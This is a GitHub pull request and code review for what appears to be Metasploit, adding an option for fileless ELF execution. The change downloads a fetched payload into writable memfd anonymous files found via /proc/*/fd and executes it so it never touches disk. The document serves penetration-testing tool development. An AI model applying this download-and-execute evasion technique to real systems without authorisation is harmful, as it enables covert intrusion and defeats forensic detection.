Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fileless elf execution #19858

Open
wants to merge 13 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

This PR adds possibility of running fetch payload as file-less payload, leveraging existence of anonymous files. In current state, the fileless possibility is enabled with FETCH_FILELESS which is false by default. The limitation is the length of payload. Original idea was to explore memfd_create, however, there are limited options to call syscalls from bash. Therefore, the current solution searches for existing anonymous files where user can write and execute them. This achieves evasion as payload never touches disk.

@msutovsky-r7 msutovsky-r7 marked this pull request as draft February 4, 2025 14:43
@smcintyre-r7
Copy link
Contributor

Would it make sense to assume the user doesn't want to write the payload to disk when FETCH_WRITABLE_DIR is blank? It's currently a required option, but as I understand it, it's not used if FETCH_FILELESS is true. The downside I can think of for this might be how it's handled as part of the payload generation process to raise an exception when the platform is unsupported, e.g. Windows.

@msutovsky-r7
Copy link
Contributor Author

Would it make sense to assume the user doesn't want to write the payload to disk when FETCH_WRITABLE_DIR is blank? It's currently a required option, but as I understand it, it's not used if FETCH_FILELESS is true. The downside I can think of for this might be how it's handled as part of the payload generation process to raise an exception when the platform is unsupported, e.g. Windows.

If I saw correctly, I think that empty string is default option to FETCH_WRITABLE_DIR (and I was thinking to leave fileless execution as an option to enable for users) and it tells payload to work in current directory - like ./ for example. So it seems like blank FETCH_WRITABLE_DIR is somehow already defined behavior and I figured FETCH_FILELESS might be better. But I'm not very familiar with details, so I could be wrong, but this is my understanding of FETCH_WRITABLE_DIR.

@@ -223,6 +234,30 @@ def _generate_certutil_command
cmd + _execute_add
end

def _generate_fileless(get_file_cmd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice to have a comment here explaining the technique used.

cmds = ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
end
# cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Did you mean to comment this line?

cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
if datastore['FETCH_DELETE']
rand(3..7)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is useless. Did you want to write cmds << "sleep #{rand(3..7)};"?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, sorry, modification of this whole function is a leftover from different approach, thank you for that!

Comment on lines 97 to 106
return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command
when 'TNFTP'
return _generate_tnftp_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command
when 'WGET'
return _generate_wget_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command
when 'CURL'
return _generate_curl_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command
when 'TFTP'
return _generate_tftp_command
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command
# ignoring certutil when FETCH_FILELESS is enabled
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sure that this is working on all platforms supported by metasploit that aren't windows?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It should be supported on all Unix systems, I'll add more specific condition, thanks!

def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),

when 'TFTP'
return _generate_tftp_command
return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command
# ignoring certutil when FETCH_FILELESS is enabled
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment is wrong. I think something like "FETCH_FILELESS isn't supported for certutil for now" would be better.

Copy link
Contributor

@bwatters-r7 bwatters-r7 Feb 5, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

certutil should not be an option for linux payloads?
The FETCH_COMMAND option comes from either lib/msf/core/payload/adapter/fetch/windows_options lib/msf/core/payload/adapter/fetch/linux_options. Nix-y payloads should not import the windows_options file which allows the use of certutil.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah; by adding the FETCH_FILELESS option to linux_options the user cannot select it and cURL. We already support fileless fetch execution on windows via SMB, though we don't advertise it.

lib/msf/core/payload/adapter/fetch.rb Show resolved Hide resolved
@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review February 5, 2025 12:56
@bwatters-r7 bwatters-r7 self-assigned this Feb 6, 2025
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe redirecting the potential errors to /dev/null might avoid some weird output and reduce the number of iterations for the main loop.

Suggested change
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'

# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then while read f'
cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There might be a way to avoid calling wc by checking the return value of grep instead.

Comment on lines 10 to 12
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixing some issues and adding a condition to the FETCH_WRITABLE_DIR option (untested):

Suggested change
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: %w[FETCH_FILELESS == false])
],

Comment on lines 245 to 247
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should be able to golf this down. So using $() invokes the contents in a subshell. An exit status of 0 evaluates to true, so we can remove the echo and string check.

Give this a try:

Suggested change
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]"
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if $(ls -al $f | grep -o "memfd" >/dev/null)'
cmd << "; then if $(#{get_file_cmd} >/dev/null)"

It could definitely be golf'ed down even more by removing whitespace and the redirection to null, but I think this is reasonable because it shouldn't change the functionality (output is still muted thanks to /dev/null) or affect the readability much.

For testing:

if $(exit 0); then echo true; else echo false; fi

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yep, absolutely agree. The redirections to /dev/null are added because I didn't like the error messages as it complicated bit debugging. From functionality perspective, if there would be some issues with length, we can remove them as it shouldn't change anything. Thanks for the tip!

@bwatters-r7
Copy link
Contributor

Suggested changes:
msutovsky-r7#2

@smcintyre-r7 smcintyre-r7 added payload rn-payload-enhancement release notes for enhanced payloads labels Feb 14, 2025
Slight fixes and prep for adding piped fetch payloads
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
cmd + _execute_add(get_file_cmd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd + _execute_add(get_file_cmd)
_execute_add(get_file_cmd)

My bad......

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
payload rn-payload-enhancement release notes for enhanced payloads
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants